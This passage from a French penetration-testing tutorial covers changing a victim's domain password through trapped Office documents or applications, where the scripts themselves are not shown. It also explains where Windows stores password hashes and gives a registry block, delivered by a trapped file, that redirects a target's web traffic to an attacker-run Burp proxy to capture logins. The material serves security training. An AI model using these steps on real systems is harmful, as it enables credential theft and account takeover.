Extraire, casser, changer un mot de passe
Comment extraire un mot de passe sur une machine ou un contrôleur de domaine ?
Ce chapitre va nous permettre de démontrer qu’il est tout à fait possible de faire changer un mot de passe à un utilisateur sans connaître l’ancien, d’extraire les mots de passe stockés sur une machine locale ou sur un contrôleur de domaine. Il faut pour cela certains droits sur le système. Il est aussi possible d’écouter le réseau pour récupérer les informations d’authentification sans avoir besoin d’accéder directement au système ou de décrypter un mot de passe que l’on aurait intercepté même si celui-ci est protégé.
Nous allons commencer par faire changer le mot de passe d’un utilisateur sans connaître l’ancien. À dire vrai, c’est lui qui va le changer. Pour cela, nous allons encapsuler le script suivant dans une des techniques vues dans le chapitre précédent, c’est-à-dire, donner à notre victime un document, une application ou un zip piégé avec un petit bout de code.
Voilà le script, si vous piégez une application ou un pilote.
Voilà la ligne de code si vous piégez un document Office :
Tout le reste de la démarche a déjà été défini dans le chapitre précédent, veuillez vous y référer. Une fois le document ou l’application exécutés, le mot de passe de l’utilisateur sera changé sur le domaine. Si le mot de passe local doit être modifié, enlevez /Domain à la fin de la ligne de commande.
1. Outils d’extraction de mots de passe de session
a. La SAM en détail
Les mots de passe sont cryptés et stockés à un endroit dont l’accès direct est interdit aux comptes utilisateurs et administrateurs. Seul le compte système a le droit d’y rechercher des informations. Cet endroit est la SAM (Security Account Management) pour les comptes locaux et Active Directory pour les utilisateurs du domaine. Dans les versions de Windows antérieures à Vista, le mot de passe était stocké en LanManager, un système très faible. Depuis Vista, le système stocke un hash du mot de passe uniquement...
Comment récupérer un mot de passe depuis le réseau ?
Les mots de passe transitent aussi sur le réseau. Les sites web, les applications ou l’accès aux ressources demandent des informations de connexion. Nous allons profiter de cela pour récupérer des mots de passe.
1. Utilisation d’un proxy
Quand l’utilisateur va sur un site web ou sur un intranet, il peut lui être demandé d’entrer un nom d’utilisateur ainsi qu’un mot de passe dans un formulaire web.
Le navigateur se connecte dans la plupart des cas directement à un intranet, mais utilise parfois un proxy pour se connecter sur un site web. Le trafic, y compris le mot de passe, transite donc par ce proxy. Nous utiliserons le même principe pour récupérer le mot de passe d’un utilisateur se connectant sur un intranet ou utilisant une application s’authentifiant par un webservice. Nous avons pour cela deux tâches à réaliser : mettre en œuvre un proxy qui nous donnera les informations recherchées et rediriger le trafic web de l’utilisateur vers notre proxy.
a. Configurer la cible
Pour rediriger le trafic, nous allons modifier le registre de l’utilisateur en piégeant une application ou un fichier (voir le chapitre Prendre le rôle administrateur ou système).
Faites exécuter la clé pour modifier le registre de l’utilisateur cible.
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
"MigrateProxy"=dword:00000001
"ProxyEnable"=dword:00000001
"ProxyHttp1.1"=dword:00000001
"ProxyServer"=" http=nomdenotremachine:8080"
De cette manière, nous ne prenons que le trafic HTTP, HTTPS sera traité dans la section suivante.
b. Utiliser Burp Proxy
Pour mettre en œuvre notre application, nous utiliserons Burp Proxy téléchargeable sur Internet. Burp Proxy est une application sans installation et en Java très facile à utiliser, disponible à l’adresse : http://portswigger.net/burp/download.html
Une fois le téléchargement terminé, démarrez l’application et allez dans proxy - options, puis cliquez sur edit. Désactivez la coche listen on loopback interface only. Cliquez ensuite sur update. Sans cette modification...